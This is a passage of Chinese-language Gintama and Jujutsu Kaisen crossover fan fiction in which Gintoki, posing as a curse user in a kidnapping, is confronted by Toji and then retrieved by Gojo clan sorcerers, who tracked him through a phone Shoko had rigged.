“你这是什么动物园警示吗？还有你是不是骂我了？”
“怎么会呢，我们这种做服务型工作的人，情绪和态度可都是一流的。这样吧，要不要听点音乐缓解下心情？”
绿毛诅咒师咂了咂嘴，向后瞥了眼面色不好的老大，收敛了下脾气：“行吧，随便听点。”
“咳咳咳，那我就献丑了。”
“等等，什么？原来你要自己唱吗？”
没等对方拒绝，坂田银时展开了自己嘹亮的歌喉：“请不要在我的墓前哭泣，我不在那里~”
“唱这首歌你这是要送别谁啊！在做任务的时候唱这歌也太不吉利了吧？还有唱成这样，你是怎么有自信敢在这么多人面前唱出来的？”
坂田银时继续跟着前面车子移动，开了没几米，又踩了个急刹，短短几十米的路程，就几乎踩完了一天的刹车量。
“这可是银桑我的成名作，幽… …替身使者听了都说好，大家之后都手牵手一脸幸福地升天了，欣赏不来怎么看都是你审美不够吧？”
绿毛诅咒师倒吸一口气，刚想破口大骂，后排一个诅咒师突然跨过一旁边的人，将手伸向车窗。
“对不起老大，我有点晕车... ...”
这款外皮落着一层灰的面包车是老式的车型，车窗还是那种手动摇下来的。
加上诅咒师离车窗中间隔着个老大，导致他一时间没办法用力。
最后，由坂田银时送上最后一根稻草——又一次的急刹。
时间在这一刻仿佛被慢放，一道彩虹从这边划过那边，在空中画出标准的抛物线，最后落在还没来得及反应的老大身上。
车里陷入前所未有的安静中。
-----
将坂田银时送到孔时雨那之后，伏黑甚尔在黑市的赌场度过了一晚。
当他打着哈欠来到自己的临时住所附近，眼神里的困意瞬间消失。
他察觉到了不对劲。
将身体快速藏在视线死角，他再次观察了下周围。
有大约十几个咒术师，将他的住所团团包围，似乎是发现他家里没人，所以暂时没有轻举妄动。
本来已经平复的心情再次糟糕起来，每当他觉得倒霉可以到此为止的时候，似乎总会变得更加倒霉。
没有惊动这些咒术师，他悄然离去，回到了黑市，再次找到孔时雨。
“随便给我个活。”
“怎么了？昨晚赌光了？”
“有这个原因，但主要还是我临时住的地方被围了。”
孔时雨皱了皱眉：“寻仇的？”
“不清楚，也无所谓，给我个任务我出去混混时间。”
“好吧。”孔时雨从手上找了一单，递给了伏黑甚尔，“这个吧，暗杀任务，你最在行了。”
另一边，坂田银时一行人，在尴尬和社死中熬过了堵车，终于来到了预定计划的写字楼下。
唯一精神的坂田银时到处找人击掌，说是要激起士气，被满脸疲惫的老大拦下。
“你把人质放箱子里，跟着我们推到楼上。”
坂田银时求之不得，正好可以直接问女仆本人是不是和星浆体有关系。
虽然在旁人眼里，他衣着滑稽，但光是那身高走到面前，就会无形中形成压力。
颠簸了一路的女仆，害怕地朝后面缩了缩，咬紧的牙关不受控制地打着颤。
“你不要太自恋了，我对平板不感兴趣的。”坂田银时毫不费力地抓住女仆，“再说我可是大大的良民，只要财不要命。”
知道自己的挣扎毫无作用，女仆认命地被坂田银时扛在肩上，对于“只要财不要命”的说法嘲讽一笑，眼里渐渐失去光。
看着诅咒师们站在一边搬东西，没有人关注这边，坂田银时墨镜下的眼睛快速瞥了眼女仆，轻轻咳嗽了一声。
然后压低声音：“你叫呃… …黑，黑什么来着，黑，黑… …”
黑了半天，却因为没记住配角名字，卡在了原地，急得冷汗直冒。
该死，怎么关键时候掉链子！
“我姓黑泽。”
坂田银时这一副遮遮掩掩的样子，让女仆忍不住多想了一下，心里燃起一丝丝希望。
她语气中带着期待地小声问着：“你，你是来救我的吗？”
“啊？”
坂田银时堪堪回神，他刚想用一下系统ai，觉得废物如它，搜一下“天内理子身边的女仆名字”这种小事，因为还是能办到的。
但这么一打岔，就错过了查询的时机，前面的
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诅咒师注意到了两人的窃窃私语，回头瞪了过来：“不要和人质说些有的没的。”
“好的，长官！”
看着时机不对，两人暂时没有再交流。
黑泽顺从地躲在箱子里，在一片黑暗中被推车推到了目的地。
一群人准备再次忙活起来，布置陷阱、结界，或者检查周围情况。
周围增加的大量信息看得坂田银时头疼，这栋写字楼所在的地方虽然不算是闹市，但也有不少人，这群诅咒师就是看中这一点才把人质转移到这里。
就算对方不想给钱，选择报警，他们也还能将这栋楼的人作为人质，来威胁他们。
同时人多也方便他们混在其中逃跑。
等到忙活完回过神，外面的天色已经黑了。
“可恶，要不是路上花了那么长时间。”绿毛的诅咒师恶狠狠地看了眼坂田银时，“老大，那个有钱人怎么说？”
老大的心情也不好，他看着手机界面：“到现在还没回信。”
“要不要再催一催？”
老大将手机递给他，将催钱的任务交给了他。
屋内的灯光已经熄灭，夜晚再在写字楼点灯，那无异于把靶子挂自己脖子上。
时间一点点过去，还是没有任何信息回复，让一行诅咒师都不耐烦起来，看着黑泽的眼神越来越危险。
就在气氛越来越紧张的时候，原本在天花板上放哨的诅咒师，顺着楼道的天花板，从楼下手脚并用地爬到了众人面前。
“不好了老大！外面一群咒术师不知道从哪冒出来的，把这附近都给包围了！”
“什么！”
几个诅咒师瞬间慌了起来，一个人扒到窗户边，隐隐看到外面草丛中一群群黑色的影子。
“老大！好像来了很多人！怎么办啊！”
他们只是来一般人这捞个没有危险的油水，谁想到总监部竟然会出动这么多咒术师。
老大的人深吸几口气，强迫自己冷静下来。
他先看向双手被捆住，背靠墙上的女仆。
难道这个人质其实身份很不一般？委托人在委托的时候隐瞒了信息？
深觉自己这一次被坑，老大狠狠咒骂了一句，事到如此，这个人质他们更不能扔了，至少有人质在手，他们还有逃出去的可能性。
在一群急得原地打转的人中，只有坂田银时觉得自己难得幸运了一次，没想到他作为诅咒师的出道战，竟然就可以这么水灵灵地和咒术师遇到了。
事情的发展和自己原本的“掰正人设”计划意外一致，让他喜出望外。
眼前仿佛已经浮现出，回到原本生活之后的惬意画面。
他从美好幻想中回了回神，看了眼地上的女仆。
干脆自己现在就抓着人质先跑吧，反正短距离瞬移他也勉强能用用，特殊时期，也不要在意瞬移的姿势怎么样了。
就在他头脑风暴的时候，他发现老大的眼睛恶狠狠地看向了他。
“说起来，现在还有个问题，外面那群咒术师是怎么知道这个地方的。”
“对啊！”旁边的小弟接话，“我们干了那么多单，也没有这样的。”
“仔细想想，和以前比起来，唯一的变数，只有你了吧？”
一瞬间所有人看向坂田银时，有几个人已经按耐不住，开始摸向武器。
“等等等等！不对吧？我觉得你想得不够仔细，要不你再想想？”坂田银时指向女仆，“很明显这还有个变数吧？再说我第一天干活，至于这样做把自己信誉搞黄吗？”
“就是因为第一天干活啊。”老大越说越笃定，“到时候我们几个都死了，你衣服和名字一换，谁知道你坑死过几个人啊？”
“说起来，之前他好像在后面和人质嘀嘀咕咕说些什么。”
看着自己渐渐被围在中间，坂田银时戒备地不断后退着。
“不对吧！你们冷静点啊，再说现在首要目的难道不是活着逃出去吗？就算在这内耗也没有什么用啊！”
就在众人僵持的时候，外面耀眼的探灯亮了起来，照亮楼内一片。
众人连忙下蹲，避免自己暴露在敌人眼下。
“啊，啊，麦克测试，麦克测试。”
为首一个人拿着大喇叭，测试了一下，确认扩音没有问题之后，将喇叭放在嘴边。
“楼内的诅咒师，你已经被包围了，识相的话就快点把人质交出来！”
33.第三十三章
老大咂了咂嘴，掏出武器抵在坂田银时腰间：“喂，什么什么梗的，你先上楼，去楼顶。”
“是专噶烂橘子梗！‘噶’这个字很重要！”
“快点！”
坂田银时双手举过头顶，迈着小碎步，动作轻巧地上了楼。
诅咒师选的大楼不算高，总共只有四层，加上众人体质比一般人好，所以没有一会就到了楼顶。
顶楼的风大了起来，吹来一些食品包装袋，楼顶的铁护栏也因为年久失修，发出让人牙酸的“咯啦”声。
楼下的喊话，在这风中被吹散，让人听得不太真切。
老大看着楼下的黑影，心情很不好，他瞪着面前的坂田银时，朝着小弟说着：“把他也给我绑起来。”
不顾坂田银时的挣扎，几个人把他按在地上，紧紧地捆住。
“现在没时间处理你，等我们出去之后，哼。”
确定坂田银时没有反抗的能力之后，老大转头给小弟分布着任务，争取在咒术师们闯进来之前，在大楼内布置好足够的陷阱，提前消耗一波人数。
突然闲下来的坂田银时，和叫黑泽的女生靠着边上排排坐。
而有了伙伴，尤其是救援就在楼下，让黑泽内心安定了下来。
她看了看忙碌的诅咒师，屁股朝着坂田银时挪了挪，壮着胆子打招呼：“你好。”
坂田银时耸拉着死鱼眼，瞥了一眼对方，没有回答。
“我叫黑泽法子，你叫什么？”
“专噶烂橘子梗。”
“？”
黑泽法子迷茫了一会，自己想通了：“原来咒术师的名字都这么有个性啊。”
坂田银时忍不住再看了一眼。
完蛋，这人知道咒术师，更有可能是天内理子的那个女仆了。
他转头，看向楼下。
心里有些疑惑，救援一个照顾星浆体的女仆，需要动用这么多咒术师吗？
“对了，你们的救援计划是什么啊？”
坂田银时刚想已读乱答，就听到重物掉落的声音。
两人转头看去，只见留在楼顶的两个诅咒师倒在地上，月光下，鲜红的血液从他们的脖子处大量涌出，他们身体本能地抽搐几下，最后一动不动。
从暗处走出一位不速之客，他一身黑色紧身短袖，肌肉发达的胳膊弯曲着，手上拿着一把匕首，正在用刀背有一下没一下地敲着脖子。
和懒散的动作不同，他眼神透着冷漠，像一只踱步在猎物身边的黑豹。
坂田银时愣神地微张嘴，下意识往后缩了缩。
谁能告诉他，为什么伏黑甚尔会在这？
“这，这是你们请的救援人员吗？”
黑泽法子干笑着看向坂田银时，颤抖的双眸里满是祈祷。
“哟，猜对了一半。”伏黑甚尔咧开嘴，“大小姐，有人花钱要买你的命。”
三人在冷风中对视，气氛陡然紧张起来。
就在坂田银时思考，要不要抱着黑泽法子一起从楼上跳下来逃生的时候。
楼下，那一直被他们充当背景板的棒读喊话，突然变得情绪激动了起来。
深夜中，一声怒骂冲破了这片寂静。
“禅院甚尔！你个卑鄙的小人！快点把我家如花似玉的神子还回来！！！”
五条翔一抢过公事公办，不带感情喊话人手里的喇叭，朝着楼顶怒骂着。
一边的禅院直哉看着他这副表现，嗤笑一声：“你确定甚尔在这里吗？”
“肯定在，提供我情报的人不会搞错的。”
五条翔一抽空回答了问题，然后灌了口水，继续自己的激情输出。
楼顶上的三个人听着楼下传来的喊话，齐齐一愣，接着各有所思起来。
伏黑甚尔眼神一凛，什么神子？五条悟在这？不是，楼下这群人怎么知道我在这的？
坂田银时此刻才真的慌了起来，他默默往楼里缩了缩。
他们怎么知道我在这的？完了，我是不是要被抓回去处刑了？
黑泽法子看看这个，看看那个，一脸茫然。
如花似玉的神子是谁？
伏黑甚尔用食指挠了挠头，回想起一路上观察的几个诅咒师，没有值得在意的。
但楼下的喊话应该也不是空穴来风。
他把目光定格在坂田银时脸上。
然后上前一步，在坂田银时“雅美蝶”的尖叫中，一把拽掉他脸上的面具。
然后露出了“真是晦气”的表情。
“你怎么在这？”
黑泽法子：“是你！”
坂田银时疑惑地看了眼黑泽法子，然后回答着伏黑甚尔的问题：“我来做任务啊！孔时雨没告诉你？”
伏黑甚尔上下打量了下坂田银时，嗤笑一声：“做任务？捆绑任务？”
“你懂什么？这是为了照顾人质情绪。”
黑泽法子惊讶地转头：“嗯？呃，谢谢？”
“果然遇到你就不会有好事。”伏黑甚尔握紧手里的咒具，“所以说，这次我们又是敌对立场？”
坂田银时看着蓄势待发的伏黑甚尔，深感麻烦。
他双腿微曲，被捆在背后的双手随时准备挣开，身体朝着边上的黑泽法子倾了倾。
“好歹也认识这么久了，打个商量，作为前辈，让我这个新人的第一单顺利完成怎么样？”
“我从下面杀过来的时候，看出来这些诅咒师明显互相认识。”伏黑甚尔没有直接回答，精准分析着，“像这种抱团的弱小诅咒师，一般为了安全都会固定队友，你这一单应该是因为他们缺人，所以临时找的替死鬼吧？”
坂田银时不置可否，静静听着。
“先不说这钱你本来就拿不到，再说，现在你雇主都死绝了，也没人给你结委托费啊。”
伏黑甚尔举起咒具，指向正对面的坂田银时，然后慢慢滑向黑泽法子。
“想明白了吗大少爷？你已经没有理由保护这个人了。”
听清楚的黑泽法子忍不住发抖，她紧抿嘴唇，努力不让自己发出害怕的哀鸣。
她缩回了点靠近坂田银时的双腿，眼睛祈求又恐惧的看向他。
“说的很有道理。”
坂田银时脸上神情不变，甚至淡定地笑了一下：“这笔买卖做的确实不划算。”
伏黑甚尔感到意外地扬了扬眉：“很识趣嘛。”
就在伏黑甚尔往前迈了一步的时候，坂田银时突然挣开绑在手臂上的绳索，一发强劲的苍近距离打在伏黑甚尔的身上。
没有丝毫犹豫，坂田银时快速转身，一把抱住黑泽法子的腰，朝着地面一跃而下。
空中响起黑泽法子对于下坠本能的尖叫声，接着在楼下众人的惊呼声中，两人平稳落地。
坂田银时放下黑泽法子，转身就想溜，有人早早看出他的想法，一把抓住了他身上唯一能抓的东西——腰带。
“悟大人！”
五条翔一拿着喇叭，泪眼婆娑地看着坂田银时。
“您终于醒悟了啊！离开那个男人，回来吧！”
周围咒术师瞬间竖起耳朵，他们不敢好奇得太明显，只好面朝前方，拼命挤着眼睛看过来，眼里是一致的八卦。
没有感受到周围人的敌意，坂田银时一时间也不急着跑。
他抬头看向楼顶。
和满脸不爽的伏黑甚尔对视。
被苍正面打中，还能毫发无损，也就伏黑甚尔能做到了。
只一眼，伏黑甚尔就看到那个在大街上拦住自己的禅院家的人。
他嫌恶地皱了皱眉，脑子里飞速想清了利害。
为了一单金额不算高的委托，冲进楼下这么多咒术师里，不划算。
想着委托上没有时间限制，伏黑甚尔没有再多停留，把探出的头退了回来，朝着另一个方向离开了。
杀个小丫头而已，日后有的是时间和机会。
他就不信这群咒术师，能有闲工夫一直保护着她。
看着伏黑甚尔消失的身影，本来抱着看热闹心态的禅院直哉慌了神，嚷嚷着就带着族人冲了过去。
坂田银时知道危险暂时解除，松了口气，收回了目光，在今晚第一次看向五条翔一。
然后就看到对方掺杂着喜悦、痛惜、愤怒的神情，复杂得宛如厨房里打翻后，混在一起的调味料。
坂田银时想说出的话打了个转咽了下去。
五条翔一看着坂田银时又是和伏黑甚尔对视，又是欲言又止的，误解成对方心里还放不下。
再看看坂田银时身上的紧身衣，倒吸一口气，解开自己的西装外套，小心披在了坂田银时的身上。
“悟大人这段时间您辛苦了，可恶的伏黑甚尔，让悟大人穿的什么东西。”
坂田银时看着过于愤怒，以至于脸都有些扭曲的五条翔一，只感觉自己被骂了。
他不好意思直说是自己挑的衣服，辩
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解着：“我觉得挺好看的，你没看过特摄剧吗？多帅啊。”
“悟大人，不要再给那个家伙找借口了，我看他根本就没有把你当做朋友。”
坂田银时震惊地瞪大双眼，在别人眼里，他俩这样算是朋友吗？
咒术师朋友的范畴未免有点太宽泛了吧？
一番嘘寒问暖结束，五条翔一这才注意到旁边的黑泽法子。
“悟大人，这位是？”
坂田银时和黑泽法子疑惑地对视一眼，异口同声地问着：“诶？你们不是来救她/我的吗？”
“嗯？不是啊？”
“那你们来干什么的？”
五条翔一愣了下，然后恢复平常温和的笑容：“当然是为了将悟大人救出来了，不然整个咒术界，谁有资格让这么多咒术师同时出动。”
坂田银时用六眼，快速扫了眼现场的所有咒术师，看衣服上的族徽，其中大部分是五条家的。
除去刚刚走掉的禅院家，还剩下加茂家的人站在原地，不过那副样子，比起救人，更像是为了看热闹。
剩下的就是零星几个平民咒术师。
这么一看，确实排场很大，打宿傩的时候出场的人物都没现在多。
看着坂田银时似乎真的没有逃跑的想法，五条翔一宽慰地抹了把眼泪：“不管过程如何，您最终想通了就好。赌博虽然难戒，但是我们会帮您的。”
坂田银时刚扬起的嘴角猛然缩了回去，他看看天，看看地，扣了扣自己的耳洞，花了三秒钟，决定忘掉刚刚听到的东西。
看着两人聊得差不多了，周围的咒术师靠近了点，不走心地说着庆祝回归之类的话。
场面和谐得如同年会现场。
在这种热闹的气氛下，坂田银时突然察觉出一丝不对劲。
从刚刚让他戒赌的话里，他能推测出，至少五条翔一是真情实感地相信论坛上，从五条家放出的正经版“被诅咒师带坏，染上赌博”的说法的。
那么带着这么多人，来从恶徒手里，劝一个赌瘾少年回头是岸，也很合逻辑。
但问题是，他们是怎么知道，那个诅咒师是伏黑甚尔？
伏黑甚尔虽然作为“术师杀手”很有名，但是没有多少人知道他的样貌。
不过这点也不是不能想通，毕竟刚刚禅院直哉在这。
如果刚巧五条家拿着伏黑甚尔照片的时候，被禅院直哉遇到，刚巧被他看到照片。
那么认出身份也不奇怪。
所以更关键的是，他们是怎么知道自己在这的？
他们连黑泽法子都不认识，不可能是根据这些参与绑架的诅咒师发现的。
就算是碰巧有咒术师接下救援黑泽法子的任务，一直跟踪这些诅咒师，碰巧在这个任务地点发现了自己，然后给五条家通风报信，也是不太可能的。
想要在这么短的时间内，动员这么多人，怎么想也不可能吧？
跟踪伏黑甚尔就更不可能了。
那么原因，只可能出现在自己身上。
说不定，五条家有秘术能追踪五条悟的下落呢？
坂田银时心态很好地安慰着自己。
不错啊，有这个技术的话，还能带给哥布林大叔，说不定还能帮助他早点找到原主呢。
“那个五条啊。”
刚一开口，一排五条家的人看了过来。
坂田银时哽了一下，改口：“翔阳君啊，问你个问题。”
五条翔一接收到坂田银时的目光，才后知后觉是在喊自己：“您说。”
“我家，有没有什么，能追踪我行踪的秘术什么的？”
五条翔一眼神犀利起来：“是有谁威胁到您了吗？不过您放心，我们并没有这种秘术，就算有，也不会用来侵犯您的隐私，更不会让它落到敌人手中。”
坂田银时悬着的心还是死了。
“… …那你们怎么知道我在这的？”
“嗯？是家入同学提供的位置。”五条翔一点亮手机，将信息给坂田银时看，“难道不是您在离家出走的时候告诉家入同学的吗？”
坂田银时看着短短的四行地址，只觉得心里冒上一股寒气。
最后一行地址，就是他们现在所在的地方。
而中间三个地址，一个是和孔时雨见面的黑市，一个是伏黑甚尔的临时躲藏点，还有一个是自己和这群诅咒师们碰面的地方。
消息发送的时间顺序，和他的行动完全吻合。
34.第三十四章
“冥冥小姐，您说的是真的吗？”
一家咖啡店中，黑胶唱片播放着古典音乐，让人心情平静，在角落中，冥冥和五条翔一面对面坐在沙发上。
看着面色激动的五条翔一，冥冥淡定地喝了口咖啡。
她面前的桌子上，摆着几张照片，从模糊的画质来看，应该是从监控中截取的。
但就算这样，冥冥也能一眼就看出，照片上的这个男人，就是伏黑甚尔。
“当然。”她放下杯子，回答着，“之前我和五条后辈一起，接了个小委托，在那个时候遇到了这个人。他给我的印象很深，毕竟我还是第一次看到不用咒力，不用术式，体术能厉害到这个地步的人。”
五条翔一皱眉，低声思索：“难道就是在那个时候，他就计划着要拐跑我家悟大人了吗？”
冥冥眉毛一挑，被激起了好奇心：“难道说，传闻中… …是真的？”
五条翔一抬眼看了看冥冥，毕竟关乎家族事情，一时间有些难以启齿。
看到对方这一副为难模样，冥冥便不再过多追问，想了想，看在五条家为了这点情报，给得报酬很慷慨的面子上，额外送出在坂田银时那得到的信息。
“听说，在以前，他用的是另一个姓氏，禅院。”
“禅院！”
五条翔一顿悟，原本一团乱麻的思绪一瞬间明朗起来，从之前禅院家恶意散播五条悟照片，想到不久前还在泼脏水说他私奔。
这一切原来都是禅院家的阴谋。
冥冥看着五条翔一再次陷入沉思，自己这边也用情报换到了不少好处，于是不再准备逗留，她站起身。
“这条额外信息，算是这次合作的特别赠品，希望五条家以后有什么任务，能够多多想到我。”
五条翔一从思绪中回神，连忙站起来：“一定的，一定的。这次多谢冥冥小姐了。”
“客气。”
-----
“伏黑甚尔？”
高专医疗室内，家入硝子脱下手上的医疗手套，拉下脸上的口罩，接过五条翔一递过来的几张照片。
“完全没有印象诶。”家入硝子翻了翻照片，“你们不是在找五条吗？”
“是的，悟大人就是被他掳走的。”
家入硝子翻照片的手一顿，看着照片上那个肌肉发达的男人，眼神复杂了起来。
想起最近流传的八卦，她开玩笑的说着：“传闻中的那个诅咒师竟然是个男的吗？他的口味… …还蛮重的。”
“什么！五条，诅咒师，传闻，是那个咒术界现代爱情三角恋的主人公吗？！”
庵歌姬原本在一旁等待家入硝子结束工作，然后一起上街，结果没想到，竟然还能直接接触最近最关心的八卦。
她一下子站了起来，急哄哄地拿过家入硝子递过来的照片，仔细端详了起来。
看着庵歌姬的神情变得凝重，五条翔一不安地咽了咽口水：“请问，有什么不妥吗？”
“怎么说呢。”庵歌姬抬起头，“夏油输给这个人，不算丢人。”
“啊？”
看透一切的家入硝子轻声笑了笑，走到角落的柜子里，打开一个抽屉，在里面翻找着。
“这件事和夏油同学又有什么关系呢？”
“当然有关系！而且有大关系！”庵歌姬激动地把照片扇得“呼呼”作响，“五条可是因为这个人抛弃了夏油的啊！”
听到庵歌姬那番三角恋言论，五条翔一眼前一黑：“不是的！这些都是谣言啊！”
庵歌姬丝毫不信官方辟谣，指了指照片：“看看这个人的肌肉线条，这个胸，这个秀丽的脸蛋，还有脸上这个增添野性的一道疤… …嗯？”
“怎，怎么了？”
“我总觉得这些描述，有些耳熟，好像在哪听过。”
五条翔一瞬间支楞起来，眼里冒着精光：“麻烦您具体想一下，会不会是悟大人和夏油同学提起过？”
庵歌姬冥思苦想，忍着回想起那些被捉弄的痛苦，把所有有关的记忆翻了一遍。
家入硝子在抽屉中找到东西，拿出来后走到庵歌姬身边，提了个建议：“歌姬前辈不用想那么远的，可以想想这一周左右的事情。”
“嗯？是吗？”
庵歌姬听取建议，往记忆往前倒了几天，在两人的注视下，尤其是五条翔一那几乎一眨不眨的眼睛，她莫名感到一股压力。
她下意识移开目光，看到了身边的家入硝子。
此时的家入硝子耐心地等在一边，手里拿着一个类似手机的通讯器，被她不断地抛在空中，再稳稳接住。
通讯器，手机。
庵歌姬眼睛猛地睁大。
对！手机！
她一把抓住家入硝子的胳膊，眼睛蹭亮：“硝子，你还记得香蕉吗？”
“… …歌姬前辈你还好吗？”
“我很好！”庵歌姬指了指通讯器，“你还记得他们俩个把手机弄丢了，然后说自己手机被一个金刚大猩猩抢走了吗？”
“这么一说，好像有点印象。”
五条翔一觉得话题有些魔幻，怎么扯到“金刚大猩猩”上了？
“当时我们都不信，觉得他们是在胡扯，但是现在仔细想想，他们形容那个大猩猩用的词是‘胸很大’、‘肌肉很发达’、还有… …”
庵歌姬停顿了一下，吊足了五条翔一的胃口，然后一字一句地说着：“脸上有疤。”
她举起照片，指了指上面伏黑甚尔嘴角的疤：“完美符合所有描述。”
这一番精彩的推理，赢得了家入硝子的掌声和五条翔一的愣神。
庵歌姬推了推鼻梁上并不存在的眼镜：“真相只有一个，那就是在和冥冥做委托之前，五条他们就已经勾搭上了这个诅咒师！”
饶是家入硝子，也被这一番言论弄得倒吸几口气：“可是，我记得那次委托他们打得还是挺凶的，五条还来我这治疗过的。”
庵歌姬捂住胸口：“他们虽然情根深种，但是立场不和，再见只能刀兵相向，啊，多么标准的相爱相杀。”
“… …歌姬前辈，再说就有点过了，只有这个是绝对不可能的。”
看着可怜的五条翔一，已经陷入自家神子被贴脸传谣的痛苦
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中，家入硝子难得产生了一丝同情。
她选择直接跳过庵歌姬的话题，这个前辈最近吃瓜有点不太挑，貌似吃了不少带着“洗脑”效果的魔瓜。
“不管怎么样，你们现在就是想把五条带回来吧？”
五条翔一强制回神，点了点头。
“我知道他在哪，你们先去做做准备，地址我一会发给你。”
到医疗室以来，五条翔一第一次听到了让他欣喜的消息。
对于这个咒术界的珍宝，五条翔一有着莫名的信任，他也不再多问，抓紧时间去聚集人手。
沉迷吃瓜，脑洞大开的庵歌姬，失望地看着瓜田跑走，转头看向家入硝子：“你有办法知道他在哪？”
“诶呀，歌姬前辈难道忘了吗？”家入硝子停下手上抛接东西的动作，“我们之前在给那俩个人的手机里做了点小手脚。”
庵歌姬恍然大悟，拍了拍自己的额头：“对啊！这段时间一直熬夜，感觉脑子都有点犯迷糊了… …”
“歌姬前辈要是觉得不舒服，我也可以帮你治一治脑子的哦。”
“… …硝子，你真的没有在阴阳我吧？”
家入硝子笑容和蔼：“怎么会呢，我可是最尊敬前辈的呢。”
她点开手里的通讯器，原本黑漆漆的屏幕上显示了一个红点。
那便是坂田银时所在的位置。
-----
一向宁静的高专夜晚，在这两周不知道第多少次被打破。
一堆人乌泱泱的来，再乌泱泱的走。
最后只剩下坂田银时和夜蛾正道面面相觑。
夜娥正道已经习惯，并且会自动忽视坂田银时奇怪的着装。
他深吸口气，然后呼出，感觉自己鬓角又长出不少白头发：“闹够了？”
语气颇有种看着叛逆期少年，离家出走之后，因为没钱坐火车，又灰溜溜回来的感觉。
坂田银时知道自己搞了个乌龙，不光擅自给自己下了死刑，还因此害怕地“叛逃”，所以也没怎么顶嘴。
不管过程怎么样，至少他还能继续享受米虫生活，这对他来说就已经足够了。
至于中间的黑历史，他可以选择遗忘。
被夜蛾正道象征性教育了几句之后，坂田银时脚步一拐，走向了医疗室。
这边还有个定时炸1弹在这。
尽管还是深夜，医疗室的门缝里依然透着微光。
最近还没有到忙到深夜加班的地步，家入硝子很明显是在等着自己。
他顶着发麻的头皮，握住医疗室的门把手，然后僵住了身体，手怎么也没能往下扳。
明明天气凉爽，他额头却开始冒出冷汗。
这种班主任单独找你谈话，你却不知道对方会说什么的未知感实在是太吓人了。
就这么在冷风中站了一会，坂田银时最终还是决定从心。
本着有福必须一人享，有苦不能一人吃的原则，他把黑名单中的土方十四郎拉了出来，并且用数十几条短信和十几通电话，来向对方表达事情的紧迫性。
他急需忽方十四悠的援助。
35.第三十五章
坂田银时正陷入超绝大危机中。
来的路上，他反复思考着，是要找说辞糊弄过去，还是直接摊牌了。
毕竟定位器都安上了，这多半就是在怀疑他们了吧？
接到连环call，土方十四郎也果不其然火急火燎地来了，甚至来得太匆忙，衣服都还是穿的睡衣。
看着土方十四郎，或者说宅十四身上印着大大美少女的睡衣，坂田银时觉得辣眼地移开了目光。
“怎么回事？怎么就暴露了？”
“我要是知道就不用着急了。”坂田银时抓了抓卷发，“我怀疑定位器是装在手机里的，毕竟硝子发信息的三个地址，我身上都带了的东西就是手机了。”
“手机。”土方十四郎眯着眼回想了下，“那不是我们刚来的前两天，家入给我们买的吗？那么早之前，她就已经怀疑我们了？”
刚说完，他脸上就出现了宅十四惊恐的神情：“不不不不不是吧？那时候我们也就是上课迟到而已，这有什么值得怀疑的吗？”
然后表情瞬间归为平静：“不要小看了女人的第六直觉啊，你这个连女人的手都没牵过的家里蹲。”
“你说谁‘没牵过女人的手’啊！难道你就牵过吗？”
“… …”
“喂！不要光摆出一副深沉的面孔，你说话啊！”
坂田银时在一旁默默举起手：“虽然不合时宜，但是打扰一下，请问你们两位，是怎么交流的？”
土方十四郎一巴掌拍在脸上，将宅十四拍了回去，自己的意识重新占据上风：“其实也很好解决，没有操控身体的一方，可以在系统空间里通过电视看到外界。”
“… …真麻烦，都这样了你们还要吵起来，也真是毅力顽强。”
“这些都不重要，关键是怎么跟家入说。你们怎么想。”
宅十四犹豫着说：“我还挺想告诉硝子的，觉得她人很好，不应该一直骗她。”
“你的善恶基准是不是有点怪？不会是对美少女有单独一套标准吧？”土方十四郎朝着坂田银时扬了扬下巴，“你呢？”
“说实话，不管是告诉她实情，还是继续忽悠过去，我都无所谓，不如说如果能把硝子拉入我们这边，反而对我们以后的行动有帮助吧？”
土方十四郎想起那个失踪的员工，他们确实需要额外的时间，去这个世界的其他地方探查。
如果因此花费太多时间，很可能导致更多人对他们起疑心。
而且他们也不确定，会不会还有其他人对他们抱有怀疑。
如果家入硝子能够和他们临时合作，那么以对方的身份，不仅能帮他们找出同样心存怀疑的人，还可以帮忙给他们打掩护。
土方十四郎忍不住动摇：“哥布林大叔有说被本世界人发现，会有什么问题吗？”
“印象里，好像没有。”
土方十四郎目视前方虚空一点：“喂，里面那个，你看看在系统空间里能不能联系上哥布林大叔，问问他这个问题。”
说完他向上微微翻着白眼，外面站着的两个人之间，陷入安静的氛围中，一起等待着宅十四的回复。
过了一会，夏油杰的脸上重新扬起宅十四的憨笑：“虽然那个大叔气得脸都更绿了，但是他说没关系诶。”
坂田银时大为震惊：“真的假的？你一句话前半段和后半段意思完全相反吧？真的没有理解错吗？”
宅十四挠了挠头：“没有... ...吧？”
这副不确定的样子让坂田银时更加不放心，他刚想让宅十四回去重问问，对方就换成了土方十四郎。
“出门要记得关掉家电啊真是的，电视都还开着呢。”土方十四郎抱怨完，转头回答坂田银时，“是真的，那个大叔说，只要关键事件节点能够不被偏移，其他的细枝末节世界会自主修正的。”
“世界，还真是方便。”
怪不得系统对于他们的种种行为，都采用放纵的态度，他还以为是哥布林大叔为了省钱，没有给系统装上这个功能呢。
想起一开始和哥布林大叔交涉时候，对方那仿佛吃了大亏一样的表现，和那仿佛事件偏移一点点就能引起宇宙毁灭的夸张态度。
坂田银时后知后觉得有一种上当了的感觉。
不管怎么样，得知这个好消息，坂田银时还是松了口气，身板瞬间硬朗起来，更加有勇气面对家入硝子了。
他朝着医疗室走了几步，然后一个猛回头，拽住土方十四郎的胳膊，就要把人往前推。
不用任何言语，土方十四郎就知道对方憋着什么坏心思。
同样不想打头阵的他抓住坂田银时的胳膊，身子往后躲的同时，企图用肩膀把坂田银时拱出去。
两个人几个回合下来就扭在一起，你推我搡着，又不敢发出大的声音，脸都憋红了。
在这场没有观众和裁判的摔跤比赛中，他们的比拼进入了白热化，谁也不想做这个出头鸟。
坂田银时伸出脚，准备使用阴招，攻击对方的底盘，却被土方十四郎识破。
对方一个后退加大力旋转，将坂田银时重新推到了正对门的方向。
坂田银时惊恐地龇了龇牙，赶忙拉着土方十四郎朝侧边倒去，接着趁对方重心不稳，重新一个大跨步，把土方十四郎转了回去。
至此，一场摔跤比赛变成了华尔兹舞会，两人在离医疗室的门咫尺的地方，不断地旋转着。
默契用在了奇怪的地方，两人不知旋转了多少圈，仿佛一台永动机，如果没有外力的介入，就能一直维持着运行。
不知道是谁脚一软，打破了这平衡，在重力势能和动能等等的作用之下，他们一起撞在了医疗室的门上。
门在一瞬间发出悲鸣，用全身的力气想要顽强对抗这股“恶势力”，却苦于上了年纪，门板不硬朗，螺丝也凸出了，更别说那遍布全身的锈斑。
最终在让人牙酸的“吱呀”声，和重物倒地的巨响中，两人用独有的方式推开了门。
